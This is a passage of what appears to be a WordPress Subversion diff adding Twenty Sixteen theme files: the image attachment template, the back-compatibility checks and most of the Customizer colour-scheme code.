+					<a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home">
+						<img src="<?php header_image(); ?>" srcset="<?php echo esc_attr( wp_get_attachment_image_srcset( get_custom_header()->attachment_id ) ); ?>" sizes="<?php echo esc_attr( $custom_header_sizes ); ?>" width="<?php echo esc_attr( get_custom_header()->width ); ?>" height="<?php echo esc_attr( get_custom_header()->height ); ?>" alt="<?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?>">
+					</a>
+				</div><!-- .header-image -->
+			<?php endif; // End header image check. ?>
+		</header><!-- .site-header -->
+
+		<div id="content" class="site-content">
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/image.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/image.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/image.php	(revision 56912)
@@ -0,0 +1,112 @@
+<?php
+/**
+ * The template for displaying image attachments
+ *
+ * @package WordPress
+ * @subpackage Twenty_Sixteen
+ * @since Twenty Sixteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<main id="main" class="site-main" role="main">
+
+			<?php
+				// Start the loop.
+				while ( have_posts() ) : the_post();
+			?>
+
+				<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+
+					<nav id="image-navigation" class="navigation image-navigation">
+						<div class="nav-links">
+							<div class="nav-previous"><?php previous_image_link( false, __( 'Previous Image', 'twentysixteen' ) ); ?></div>
+							<div class="nav-next"><?php next_image_link( false, __( 'Next Image', 'twentysixteen' ) ); ?></div>
+						</div><!-- .nav-links -->
+					</nav><!-- .image-navigation -->
+
+					<header class="entry-header">
+						<?php the_title( '<h1 class="entry-title">', '</h1>' ); ?>
+					</header><!-- .entry-header -->
+
+					<div class="entry-content">
+
+						<div class="entry-attachment">
+							<?php
+								/**
+								 * Filter the default twentysixteen image attachment size.
+								 *
+								 * @since Twenty Sixteen 1.0
+								 *
+								 * @param string $image_size Image size. Default 'large'.
+								 */
+								$image_size = apply_filters( 'twentysixteen_attachment_size', 'large' );
+
+								echo wp_get_attachment_image( get_the_ID(), $image_size );
+							?>
+
+							<?php twentysixteen_excerpt( 'entry-caption' ); ?>
+
+						</div><!-- .entry-attachment -->
+
+						<?php
+							the_content();
+							wp_link_pages( array(
+								'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentysixteen' ) . '</span>',
+								'after'       => '</div>',
+								'link_before' => '<span>',
+								'link_after'  => '</span>',
+								'pagelink'    => '<span class="screen-reader-text">' . __( 'Page', 'twentysixteen' ) . ' </span>%',
+								'separator'   => '<span class="screen-reader-text">, </span>',
+							) );
+						?>
+					</div><!-- .entry-content -->
+
+					<footer class="entry-footer">
+						<?php twentysixteen_entry_meta(); ?>
+						<?php
+							// Retrieve attachment metadata.
+							$metadata = wp_get_attachment_metadata();
+							if ( $metadata ) {
+								printf( '<span class="full-size-link"><span class="screen-reader-text">%1$s </span><a href="%2$s">%3$s &times; %4$s</a></span>',
+									esc_html_x( 'Full size', 'Used before full size attachment link.', 'twentysixteen' ),
+									esc_url( wp_get_attachment_url() ),
+									absint( $metadata['width'] ),
+									absint( $metadata['height'] )
+								);
+							}
+						?>
+						<?php
+							edit_post_link(
+								sprintf(
+									/* translators: %s: Name of current post */
+									__( 'Edit<span class="screen-reader-text"> "%s"</span>', 'twentysixteen' ),
+									get_the_title()
+								),
+								'<span class="edit-link">',
+								'</span>'
+							);
+						?>
+					</footer><!-- .entry-footer -->
+				</article><!-- #post-## -->
+
+				<?php
+					// If comments are open or we have at least one comment, load up the comment template.
+					if ( comments_open() || get_comments_number() ) {
+						comments_template();
+					}
+
+					// Parent post navigation.
+					the_post_navigation( array(
+						'prev_text' => _x( '<span class="meta-nav">Published in</span><span class="post-title">%title</span>', 'Parent post link', 'twentysixteen' ),
+					) );
+				// End the loop.
+				endwhile;
+			?>
+
+		</main><!-- .site-main -->
+	</div><!-- .content-area -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/inc/back-compat.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/inc/back-compat.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/inc/back-compat.php	(revision 56912)
@@ -0,0 +1,71 @@
+<?php
+/**
+ * Twenty Sixteen back compat functionality
+ *
+ * Prevents Twenty Sixteen from running on WordPress versions prior to 4.4,
+ * since this theme is not meant to be backward compatible beyond that and
+ * relies on many newer functions and markup changes introduced in 4.4.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Sixteen
+ * @since Twenty Sixteen 1.0
+ */
+
+/**
+ * Prevent switching to Twenty Sixteen on old versions of WordPress.
+ *
+ * Switches to the default theme.
+ *
+ * @since Twenty Sixteen 1.0
+ */
+function twentysixteen_switch_theme() {
+	switch_theme( WP_DEFAULT_THEME, WP_DEFAULT_THEME );
+
+	unset( $_GET['activated'] );
+
+	add_action( 'admin_notices', 'twentysixteen_upgrade_notice' );
+}
+add_action( 'after_switch_theme', 'twentysixteen_switch_theme' );
+
+/**
+ * Adds a message for unsuccessful theme switch.
+ *
+ * Prints an update nag after an unsuccessful attempt to switch to
+ * Twenty Sixteen on WordPress versions prior to 4.4.
+ *
+ * @since Twenty Sixteen 1.0
+ *
+ * @global string $wp_version WordPress version.
+ */
+function twentysixteen_upgrade_notice() {
+	$message = sprintf( __( 'Twenty Sixteen requires at least WordPress version 4.4. You are running version %s. Please upgrade and try again.', 'twentysixteen' ), $GLOBALS['wp_version'] );
+	printf( '<div class="error"><p>%s</p></div>', $message );
+}
+
+/**
+ * Prevents the Customizer from being loaded on WordPress versions prior to 4.4.
+ *
+ * @since Twenty Sixteen 1.0
+ *
+ * @global string $wp_version WordPress version.
+ */
+function twentysixteen_customize() {
+	wp_die( sprintf( __( 'Twenty Sixteen requires at least WordPress version 4.4. You are running version %s. Please upgrade and try again.', 'twentysixteen' ), $GLOBALS['wp_version'] ), '', array(
+		'back_link' => true,
+	) );
+}
+add_action( 'load-customize.php', 'twentysixteen_customize' );
+
+/**
+ * Prevents the Theme Preview from being loaded on WordPress versions prior to 4.4.
+ *
+ * @since Twenty Sixteen 1.0
+ *
+ * @global string $wp_version WordPress version.
+ */
+function twentysixteen_preview() {
+	if ( isset( $_GET['preview'] ) ) {
+		wp_die( sprintf( __( 'Twenty Sixteen requires at least WordPress version 4.4. You are running version %s. Please upgrade and try again.', 'twentysixteen' ), $GLOBALS['wp_version'] ) );
+	}
+}
+add_action( 'template_redirect', 'twentysixteen_preview' );
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/inc/customizer.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/inc/customizer.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/inc/customizer.php	(revision 56912)
@@ -0,0 +1,1193 @@
+<?php
+/**
+ * Twenty Sixteen Customizer functionality
+ *
+ * @package WordPress
+ * @subpackage Twenty_Sixteen
+ * @since Twenty Sixteen 1.0
+ */
+
+/**
+ * Sets up the WordPress core custom header and custom background features.
+ *
+ * @since Twenty Sixteen 1.0
+ *
+ * @see twentysixteen_header_style()
+ */
+function twentysixteen_custom_header_and_background() {
+	$color_scheme             = twentysixteen_get_color_scheme();
+	$default_background_color = trim( $color_scheme[0], '#' );
+	$default_text_color       = trim( $color_scheme[3], '#' );
+
+	/**
+	 * Filter the arguments used when adding 'custom-background' support in Twenty Sixteen.
+	 *
+	 * @since Twenty Sixteen 1.0
+	 *
+	 * @param array $args {
+	 *     An array of custom-background support arguments.
+	 *
+	 *     @type string $default-color Default color of the background.
+	 * }
+	 */
+	add_theme_support( 'custom-background', apply_filters( 'twentysixteen_custom_background_args', array(
+		'default-color' => $default_background_color,
+	) ) );
+
+	/**
+	 * Filter the arguments used when adding 'custom-header' support in Twenty Sixteen.
+	 *
+	 * @since Twenty Sixteen 1.0
+	 *
+	 * @param array $args {
+	 *     An array of custom-header support arguments.
+	 *
+	 *     @type string $default-text-color Default color of the header text.
+	 *     @type int      $width            Width in pixels of the custom header image. Default 1200.
+	 *     @type int      $height           Height in pixels of the custom header image. Default 280.
+	 *     @type bool     $flex-height      Whether to allow flexible-height header images. Default true.
+	 *     @type callable $wp-head-callback Callback function used to style the header image and text
+	 *                                      displayed on the blog.
+	 * }
+	 */
+	add_theme_support( 'custom-header', apply_filters( 'twentysixteen_custom_header_args', array(
+		'default-text-color'     => $default_text_color,
+		'width'                  => 1200,
+		'height'                 => 280,
+		'flex-height'            => true,
+		'wp-head-callback'       => 'twentysixteen_header_style',
+	) ) );
+}
+add_action( 'after_setup_theme', 'twentysixteen_custom_header_and_background' );
+
+if ( ! function_exists( 'twentysixteen_header_style' ) ) :
+/**
+ * Styles the header text displayed on the site.
+ *
+ * Create your own twentysixteen_header_style() function to override in a child theme.
+ *
+ * @since Twenty Sixteen 1.0
+ *
+ * @see twentysixteen_custom_header_and_background().
+ */
+function twentysixteen_header_style() {
+	// If the header text option is untouched, let's bail.
+	if ( display_header_text() ) {
+		return;
+	}
+
+	// If the header text has been hidden.
+	?>
+	<style type="text/css" id="twentysixteen-header-css">
+		.site-branding {
+			margin: 0 auto 0 0;
+		}
+
+		.site-branding .site-title,
+		.site-description {
+			clip: rect(1px, 1px, 1px, 1px);
+			position: absolute;
+		}
+	</style>
+	<?php
+}
+endif; // twentysixteen_header_style
+
+/**
+ * Adds postMessage support for site title and description for the Customizer.
+ *
+ * @since Twenty Sixteen 1.0
+ *
+ * @param WP_Customize_Manager $wp_customize The Customizer object.
+ */
+function twentysixteen_customize_register( $wp_customize ) {
+	$color_scheme = twentysixteen_get_color_scheme();
+
+	$wp_customize->get_setting( 'blogname' )->transport         = 'postMessage';
+	$wp_customize->get_setting( 'blogdescription' )->transport  = 'postMessage';
+
+	if ( isset( $wp_customize->selective_refresh ) ) {
+		$wp_customize->selective_refresh->add_partial( 'blogname', array(
+			'selector' => '.site-title a',
+			'container_inclusive' => false,
+			'render_callback' => 'twentysixteen_customize_partial_blogname',
+		) );
+		$wp_customize->selective_refresh->add_partial( 'blogdescription', array(
+			'selector' => '.site-description',
+			'container_inclusive' => false,
+			'render_callback' => 'twentysixteen_customize_partial_blogdescription',
+		) );
+	}
+
+	// Add color scheme setting and control.
+	$wp_customize->add_setting( 'color_scheme', array(
+		'default'           => 'default',
+		'sanitize_callback' => 'twentysixteen_sanitize_color_scheme',
+		'transport'         => 'postMessage',
+	) );
+
+	$wp_customize->add_control( 'color_scheme', array(
+		'label'    => __( 'Base Color Scheme', 'twentysixteen' ),
+		'section'  => 'colors',
+		'type'     => 'select',
+		'choices'  => twentysixteen_get_color_scheme_choices(),
+		'priority' => 1,
+	) );
+
+	// Add page background color setting and control.
+	$wp_customize->add_setting( 'page_background_color', array(
+		'default'           => $color_scheme[1],
+		'sanitize_callback' => 'sanitize_hex_color',
+		'transport'         => 'postMessage',
+	) );
+
+	$wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'page_background_color', array(
+		'label'       => __( 'Page Background Color', 'twentysixteen' ),
+		'section'     => 'colors',
+	) ) );
+
+	// Remove the core header textcolor control, as it shares the main text color.
+	$wp_customize->remove_control( 'header_textcolor' );
+
+	// Add link color setting and control.
+	$wp_customize->add_setting( 'link_color', array(
+		'default'           => $color_scheme[2],
+		'sanitize_callback' => 'sanitize_hex_color',
+		'transport'         => 'postMessage',
+	) );
+
+	$wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'link_color', array(
+		'label'       => __( 'Link Color', 'twentysixteen' ),
+		'section'     => 'colors',
+	) ) );
+
+	// Add main text color setting and control.
+	$wp_customize->add_setting( 'main_text_color', array(
+		'default'           => $color_scheme[3],
+		'sanitize_callback' => 'sanitize_hex_color',
+		'transport'         => 'postMessage',
+	) );
+
+	$wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'main_text_color', array(
+		'label'       => __( 'Main Text Color', 'twentysixteen' ),
+		'section'     => 'colors',
+	) ) );
+
+	// Add secondary text color setting and control.
+	$wp_customize->add_setting( 'secondary_text_color', array(
+		'default'           => $color_scheme[4],
+		'sanitize_callback' => 'sanitize_hex_color',
+		'transport'         => 'postMessage',
+	) );
+
+	$wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'secondary_text_color', array(
+		'label'       => __( 'Secondary Text Color', 'twentysixteen' ),
+		'section'     => 'colors',
+	) ) );
+}
+add_action( 'customize_register', 'twentysixteen_customize_register', 11 );
+
+/**
+ * Render the site title for the selective refresh partial.
+ *
+ * @since Twenty Sixteen 1.2
+ * @see twentysixteen_customize_register()
+ *
+ * @return void
+ */
+function twentysixteen_customize_partial_blogname() {
+	bloginfo( 'name' );
+}
+
+/**
+ * Render the site tagline for the selective refresh partial.
+ *
+ * @since Twenty Sixteen 1.2
+ * @see twentysixteen_customize_register()
+ *
+ * @return void
+ */
+function twentysixteen_customize_partial_blogdescription() {
+	bloginfo( 'description' );
+}
+
+/**
+ * Registers color schemes for Twenty Sixteen.
+ *
+ * Can be filtered with {@see 'twentysixteen_color_schemes'}.
+ *
+ * The order of colors in a colors array:
+ * 1. Main Background Color.
+ * 2. Page Background Color.
+ * 3. Link Color.
+ * 4. Main Text Color.
+ * 5. Secondary Text Color.
+ *
+ * @since Twenty Sixteen 1.0
+ *
+ * @return array An associative array of color scheme options.
+ */
+function twentysixteen_get_color_schemes() {
+	/**
+	 * Filter the color schemes registered for use with Twenty Sixteen.
+	 *
+	 * The default schemes include 'default', 'dark', 'gray', 'red', and 'yellow'.
+	 *
+	 * @since Twenty Sixteen 1.0
+	 *
+	 * @param array $schemes {
+	 *     Associative array of color schemes data.
+	 *
+	 *     @type array $slug {
+	 *         Associative array of information for setting up the color scheme.
+	 *
+	 *         @type string $label  Color scheme label.
+	 *         @type array  $colors HEX codes for default colors prepended with a hash symbol ('#').
+	 *                              Colors are defined in the following order: Main background, page
+	 *                              background, link, main text, secondary text.
+	 *     }
+	 * }
+	 */
+	return apply_filters( 'twentysixteen_color_schemes', array(
+		'default' => array(
+			'label'  => __( 'Default', 'twentysixteen' ),
+			'colors' => array(
+				'#1a1a1a',
+				'#ffffff',
+				'#007acc',
+				'#1a1a1a',
+				'#686868',
+			),
+		),
+		'dark' => array(
+			'label'  => __( 'Dark', 'twentysixteen' ),
+			'colors' => array(
+				'#262626',
+				'#1a1a1a',
+				'#9adffd',
+				'#e5e5e5',
+				'#c1c1c1',
+			),
+		),
+		'gray' => array(
+			'label'  => __( 'Gray', 'twentysixteen' ),
+			'colors' => array(
+				'#616a73',
+				'#4d545c',
+				'#c7c7c7',
+				'#f2f2f2',
+				'#f2f2f2',
+			),
+		),
+		'red' => array(
+			'label'  => __( 'Red', 'twentysixteen' ),
+			'colors' => array(
+				'#ffffff',
+				'#ff675f',
+				'#640c1f',
+				'#402b30',
+				'#402b30',
+			),
+		),
+		'yellow' => array(
+			'label'  => __( 'Yellow', 'twentysixteen' ),
+			'colors' => array(
+				'#3b3721',
+				'#ffef8e',
+				'#774e24',
+				'#3b3721',
+				'#5b4d3e',
+			),
+		),
+	) );
+}
+
+if ( ! function_exists( 'twentysixteen_get_color_scheme' ) ) :
+/**
+ * Retrieves the current Twenty Sixteen color scheme.
+ *
+ * Create your own twentysixteen_get_color_scheme() function to override in a child theme.
+ *
+ * @since Twenty Sixteen 1.0
+ *
+ * @return array An associative array of either the current or default color scheme HEX values.
+ */
+function twentysixteen_get_color_scheme() {
+	$color_scheme_option = get_theme_mod( 'color_scheme', 'default' );
+	$color_schemes       = twentysixteen_get_color_schemes();
+
+	if ( array_key_exists( $color_scheme_option, $color_schemes ) ) {
+		return $color_schemes[ $color_scheme_option ]['colors'];
+	}
+
+	return $color_schemes['default']['colors'];
+}
+endif; // twentysixteen_get_color_scheme
+
+if ( ! function_exists( 'twentysixteen_get_color_scheme_choices' ) ) :
+/**
+ * Retrieves an array of color scheme choices registered for Twenty Sixteen.
+ *
+ * Create your own twentysixteen_get_color_scheme_choices() function to override
+ * in a child theme.
+ *
+ * @since Twenty Sixteen 1.0
+ *
+ * @return array Array of color schemes.
+ */
+function twentysixteen_get_color_scheme_choices() {
+	$color_schemes                = twentysixteen_get_color_schemes();
+	$color_scheme_control_options = array();
+
+	foreach ( $color_schemes as $color_scheme => $value ) {
+		$color_scheme_control_options[ $color_scheme ] = $value['label'];
+	}
+
+	return $color_scheme_control_options;
+}
+endif; // twentysixteen_get_color_scheme_choices
+
+
+if ( ! function_exists( 'twentysixteen_sanitize_color_scheme' ) ) :
+/**
+ * Handles sanitization for Twenty Sixteen color schemes.
+ *
+ * Create your own twentysixteen_sanitize_color_scheme() function to override
+ * in a child theme.
+ *
+ * @since Twenty Sixteen 1.0
+ *
+ * @param string $value Color scheme name value.
+ * @return string Color scheme name.
+ */
+function twentysixteen_sanitize_color_scheme( $value ) {
+	$color_schemes = twentysixteen_get_color_scheme_choices();
+
+	if ( ! array_key_exists( $value, $color_schemes ) ) {
+		return 'default';
+	}
+
+	return $value;
+}
+endif; // twentysixteen_sanitize_color_scheme
+
+/**
+ * Enqueues front-end CSS for color scheme.
+ *
+ * @since Twenty Sixteen 1.0
+ *
+ * @see wp_add_inline_style()
+ */
+function twentysixteen_color_scheme_css() {
+	$color_scheme_option = get_theme_mod( 'color_scheme', 'default' );
+
+	// Don't do anything if the default color scheme is selected.
+	if ( 'default' === $color_scheme_option ) {
+		return;
+	}
+
+	$color_scheme = twentysixteen_get_color_scheme();
+
+	// Convert main text hex color to rgba.
+	$color_textcolor_rgb = twentysixteen_hex2rgb( $color_scheme[3] );
+
+	// If the rgba values are empty return early.
+	if ( empty( $color_textcolor_rgb ) ) {
+		return;
+	}
+
+	// If we get this far, we have a custom color scheme.
+	$colors = array(
+		'background_color'      => $color_scheme[0],
+		'page_background_color' => $color_scheme[1],
+		'link_color'            => $color_scheme[2],
+		'main_text_color'       => $color_scheme[3],
+		'secondary_text_color'  => $color_scheme[4],
+		'border_color'          => vsprintf( 'rgba( %1$s, %2$s, %3$s, 0.2)', $color_textcolor_rgb ),
+
+	);
+
+	$color_scheme_css = twentysixteen_get_color_scheme_css( $colors );
+
+	wp_add_inline_style( 'twentysixteen-style', $color_scheme_css );
+}
+add_action( 'wp_enqueue_scripts', 'twentysixteen_color_scheme_css' );
+
+/**
+ * Binds the JS listener to make Customizer color_scheme control.
+ *
+ * Passes color scheme data as colorScheme global.
+ *
+ * @since Twenty Sixteen 1.0
+ */
+function twentysixteen_customize_control_js() {
+	wp_enqueue_script( 'color-scheme-control', get_template_directory_uri() . '/js/color-scheme-control.js', array( 'customize-controls', 'iris', 'underscore', 'wp-util' ), '20160816', true );
+	wp_localize_script( 'color-scheme-control', 'colorScheme', twentysixteen_get_color_schemes() );
+}
+add_action( 'customize_controls_enqueue_scripts', 'twentysixteen_customize_control_js' );
+
+/**
+ * Binds JS handlers to make the Customizer preview reload changes asynchronously.
+ *
+ * @since Twenty Sixteen 1.0
+ */
+function twentysixteen_customize_preview_js() {
+	wp_enqueue_script( 'twentysixteen-customize-preview', get_template_directory_uri() . '/js/customize-preview.js', array( 'customize-preview' ), '20160816', true );
+}
+add_action( 'customize_preview_init', 'twentysixteen_customize_preview_js' );
+
+/**
+ * Returns CSS for the color schemes.
+ *
+ * @since Twenty Sixteen 1.0
+ *
+ * @param array $colors Color scheme colors.
+ * @return string Color scheme CSS.
+ */
+function twentysixteen_get_color_scheme_css( $colors ) {
+	$colors = wp_parse_args( $colors, array(
+		'background_color'      => '',
+		'page_background_color' => '',
+		'link_color'            => '',
+		'main_text_color'       => '',
+		'secondary_text_color'  => '',
+		'border_color'          => '',
+	) );
+
+	return <<<CSS
+	/* Color Scheme */
+
+	/* Background Color */
+	body {
+		background-color: {$colors['background_color']};
+	}
+
+	/* Page Background Color */
+	.site {
+		background-color: {$colors['page_background_color']};
+	}
+
+	mark,
+	ins,
+	button,
+	button[disabled]:hover,
+	button[disabled]:focus,
+	input[type="button"],
+	input[type="button"][disabled]:hover,
+	input[type="button"][disabled]:focus,
+	input[type="reset"],
+	input[type="reset"][disabled]:hover,
+	input[type="reset"][disabled]:focus,
+	input[type="submit"],
+	input[type="submit"][disabled]:hover,
+	input[type="submit"][disabled]:focus,
+	.menu-toggle.toggled-on,
+	.menu-toggle.toggled-on:hover,
+	.menu-toggle.toggled-on:focus,
+	.pagination .prev,
+	.pagination .next,
+	.pagination .prev:hover,
+	.pagination .prev:focus,
+	.pagination .next:hover,
+	.pagination .next:focus,
+	.pagination .nav-links:before,
+	.pagination .nav-links:after,
+	.widget_calendar tbody a,
+	.widget_calendar tbody a:hover,
+	.widget_calendar tbody a:focus,
+	.page-links a,
+	.page-links a:hover,
+	.page-links a:focus {
+		color: {$colors['page_background_color']};
+	}
+
+	/* Link Color */
+	.menu-toggle:hover,
+	.menu-toggle:focus,
+	a,
+	.main-navigation a:hover,
+	.main-navigation a:focus,
+	.dropdown-toggle:hover,
+	.dropdown-toggle:focus,
+	.social-navigation a:hover:before,
+	.social-navigation a:focus:before,
+	.post-navigation a:hover .post-title,
+	.post-navigation a:focus .post-title,
+	.tagcloud a:hover,
+	.tagcloud a:focus,
+	.site-branding .site-title a:hover,
+	.site-branding .site-title a:focus,
+	.entry-title a:hover,
+	.entry-title a:focus,
+	.entry-footer a:hover,
+	.entry-footer a:focus,
+	.comment-metadata a:hover,
+	.comment-metadata a:focus,
+	.pingback .comment-edit-link:hover,
+	.pingback .comment-edit-link:focus,
+	.comment-reply-link,
+	.comment-reply-link:hover,
+	.comment-reply-link:focus,
+	.required,
+	.site-info a:hover,
+	.site-info a:focus {
+		color: {$colors['link_color']};
+	}
+
+	mark,
+	ins,
+	button:hover,
+	button:focus,
+	input[type="button"]:hover,
+	input[type="button"]:focus,
+	input[type="reset"]:hover,
+	input[type="reset"]:focus,
+	input[type="submit"]:hover,
+	input[type="submit"]:focus,
+	.pagination .prev:hover,
+	.pagination .prev:focus,
+	.pagination .next:hover,
+	.pagination .next:focus,
+	.widget_calendar tbody a,
+	.page-links a:hover,
+	.page-links a:focus {
+		background-color: {$colors['link_color']};
+	}
+
+	input[type="date"]:focus,
+	input[type="time"]:focus,
+	input[type="datetime-local"]:focus,
+	input[type="week"]:focus,
+	input[type="month"]:focus,
+	input[type="text"]:focus,
+	input[type="email"]:focus,
+	input[type="url"]:focus,
+	input[type="password"]:focus,
+	input[type="search"]:focus,
+	input[type="tel"]:focus,
+	input[type="number"]:focus,
+	textarea:focus,
+	.tagcloud a:hover,
+	.tagcloud a:focus,
+	.menu-toggle:hover,
+	.menu-toggle:focus {
+		border-color: {$colors['link_color']};
+	}
+
+	/* Main Text Color */
+	body,
+	blockquote cite,
+	blockquote small,
+	.main-navigation a,
+	.menu-toggle,
+	.dropdown-toggle,
+	.social-navigation a,
+	.post-navigation a,
+	.pagination a:hover,
+	.pagination a:focus,
+	.widget-title a,
+	.site-branding .site-title a,
+	.entry-title a,
+	.page-links > .page-links-title,
+	.comment-author,
+	.comment-reply-title small a:hover,
+	.comment-reply-title small a:focus {
+		color: {$colors['main_text_color']};
+	}
+
+	blockquote,
+	.menu-toggle.toggled-on,
+	.menu-toggle.toggled-on:hover,
+	.menu-toggle.toggled-on:focus,
+	.post-navigation,
+	.post-navigation div + div,
+	.pagination,
+	.widget,
+	.page-header,
+	.page-links a,
+	.comments-title,
+	.comment-reply-title {
+		border-color: {$colors['main_text_color']};
+	}
+
+	button,
+	button[disabled]:hover,
+	button[disabled]:focus,
+	input[type="button"],
+	input[type="button"][disabled]:hover,
+	input[type="button"][disabled]:focus,
+	input[type="reset"],
+	input[type="reset"][disabled]:hover,
+	input[type="reset"][disabled]:focus,
+	input[type="submit"],
+	input[type="submit"][disabled]:hover,
+	input[type="submit"][disabled]:focus,
+	.menu-toggle.toggled-on,
+	.menu-toggle.toggled-on:hover,
+	.menu-toggle.toggled-on:focus,
+	.pagination:before,
+	.pagination:after,
+	.pagination .prev,
+	.pagination .next,
+	.page-links a {
+		background-color: {$colors['main_text_color']};
+	}
+
+	/* Secondary Text Color */
+
+	/**
+	 * IE8 and earlier will drop any block with CSS3 selectors.
+	 * Do not combine these styles with the next block.
+	 */
+	body:not(.search-results) .entry-summary {
+		color: {$colors['secondary_text_color']};
+	}
+
+	blockquote,
+	.post-password-form label,
+	a:hover,
+	a:focus,
+	a:active,
+	.post-navigation .meta-nav,
+	.image-navigation,
+	.comment-navigation,
+	.widget_recent_entries .post-date,
+	.widget_rss .rss-date,
+	.widget_rss cite,
+	.site-description,
+	.author-bio,
+	.entry-footer,
+	.entry-footer a,
+	.sticky-post,
+	.taxonomy-description,
+	.entry-caption,
+	.comment-metadata,
+	.pingback .edit-link,
+	.comment-metadata a,
+	.pingback .comment-edit-link,
+	.comment-form label,
+	.comment-notes,
+	.comment-awaiting-moderation,
+	.logged-in-as,
+	.form-allowed-tags,
+	.site-info,
+	.site-info a,
+	.wp-caption .wp-caption-text,
+	.gallery-caption,
+	.widecolumn label,
+	.widecolumn .mu_register label {
+		color: {$colors['secondary_text_color']};
+	}
+
+	.widget_calendar tbody a:hover,
+	.widget_calendar tbody a:focus {
+		background-color: {$colors['secondary_text_color']};
+	}
+
+	/* Border Color */
+	fieldset,
+	pre,
+	abbr,
+	acronym,
+	table,
+	th,
+	td,
+	input[type="date"],
+	input[type="time"],
+	input[type="datetime-local"],
+	input[type="week"],
+	input[type="month"],
+	input[type="text"],
+	input[type="email"],
+	input[type="url"],
+	input[type="password"],
+	input[type="search"],
+	input[type="tel"],
+	input[type="number"],
+	textarea,
+	.main-navigation li,
+	.main-navigation .primary-menu,
+	.menu-toggle,
+	.dropdown-toggle:after,
+	.social-navigation a,
+	.image-navigation,
+	.comment-navigation,
+	.tagcloud a,
+	.entry-content,
+	.entry-summary,
+	.page-links a,
+	.page-links > span,
+	.comment-list article,
+	.comment-list .pingback,
+	.comment-list .trackback,
+	.comment-reply-link,
+	.no-comments,
+	.widecolumn .mu_register .mu_alert {
+		border-color: {$colors['main_text_color']}; /* Fallback for IE7 and IE8 */
+		border-color: {$colors['border_color']};
+	}
+
+	hr,
+	code {
+		background-color: {$colors['main_text_color']}; /* Fallback for IE7 and IE8 */
+		background-color: {$colors['border_color']};
+	}
+
+	@media screen and (min-width: 56.875em) {
+		.main-navigation li:hover > a,
+		.main-navigation li.focus > a {
+			color: {$colors['link_color']};
+		}
+
+		.main-navigation ul ul,
+		.main-navigation ul ul li {
+			border-color: {$colors['border_color']};
+		}
+
+		.main-navigation ul ul:before {
+			border-top-color: {$colors['border_color']};
+			border-bottom-color: {$colors['border_color']};
+		}
+
+		.main-navigation ul ul li {
+			background-color: {$colors['page_background_color']};
+		}
+
+		.main-navigation ul ul:after {
+			border-top-color: {$colors['page_background_color']};
+			border-bottom-color: {$colors['page_background_color']};
+		}
+	}
+
+CSS;
+}
+
+
+/**
+ * Outputs an Underscore template for generating CSS for the color scheme.
+ *
+ * The template generates the css dynamically for instant display in the
+ * Customizer preview.
+ *
+ * @since Twenty Sixteen 1.0
+ */
+function twentysixteen_color_scheme_css_template() {
+	$colors = array(
+		'background_color'      => '{{ data.background_color }}',
+		'page_background_color' => '{{ data.page_background_color }}',
+		'link_color'            => '{{ data.link_color }}',
+		'main_text_color'       => '{{ data.main_text_color }}',
+		'secondary_text_color'  => '{{ data.secondary_text_color }}',
+		'border_color'          => '{{ data.border_color }}',
+	);
+	?>
+	<script type="text/html" id="tmpl-twentysixteen-color-scheme">
+		<?php echo twentysixteen_get_color_scheme_css( $colors ); ?>
+	</script>
+	<?php
+}
+add_action( 'customize_controls_print_footer_scripts', 'twentysixteen_color_scheme_css_template' );
+
+/**
+ * Enqueues front-end CSS for the page background color.
+ *
+ * @since Twenty Sixteen 1.0
+ *
+ * @see wp_add_inline_style()
+ */
+function twentysixteen_page_background_color_css() {
+	$color_scheme          = twentysixteen_get_color_scheme();
+	$default_color         = $color_scheme[1];
+	$page_background_color = get_theme_mod( 'page_background_color', $default_color );
+
+	// Don't do anything if the current color is the default.
+	if ( $page_background_color === $default_color ) {
+		return;
+	}
+
+	$css = '
+		/* Custom Page Background Color */
+		.site {
+			background-color: %1$s;
+		}
+
+		mark,
+		ins,
+		button,
+		button[disabled]:hover,
+		button[disabled]:focus,
+		input[type="button"],
+		input[type="button"][disabled]:hover,
+		input[type="button"][disabled]:focus,
+		input[type="reset"],
+		input[type="reset"][disabled]:hover,
+		input[type="reset"][disabled]:focus,
+		input[type="submit"],
+		input[type="submit"][disabled]:hover,
+		input[type="submit"][disabled]:focus,
+		.menu-toggle.toggled-on,
+		.menu-toggle.toggled-on:hover,
+		.menu-toggle.toggled-on:focus,
+		.pagination .prev,
+		.pagination .next,
+		.pagination .prev:hover,
+		.pagination .prev:focus,
+		.pagination .next:hover,
+		.pagination .next:focus,
+		.pagination .nav-links:before,
+		.pagination .nav-links:after,
+		.widget_calendar tbody a,
+		.widget_calendar tbody a:hover,
+		.widget_calendar tbody a:focus,
+		.page-links a,
+		.page-links a:hover,
+		.page-links a:focus {
+			color: %1$s;
+		}
+
+		@media screen and (min-width: 56.875em) {
+			.main-navigation ul ul li {
+				background-color: %1$s;
+			}
+
+			.main-navigation ul ul:after {
+				border-top-color: %1$s;
+				border-bottom-color: %1$s;
+			}
+		}
+	';
+
+	wp_add_inline_style( 'twentysixteen-style', sprintf( $css, $page_background_color ) );
+}
+add_action( 'wp_enqueue_scripts', 'twentysixteen_page_background_color_css', 11 );
+
+/**
+ * Enqueues front-end CSS for the link color.
+ *
+ * @since Twenty Sixteen 1.0
+ *
+ * @see wp_add_inline_style()
+ */
+function twentysixteen_link_color_css() {
+	$color_scheme    = twentysixteen_get_color_scheme();
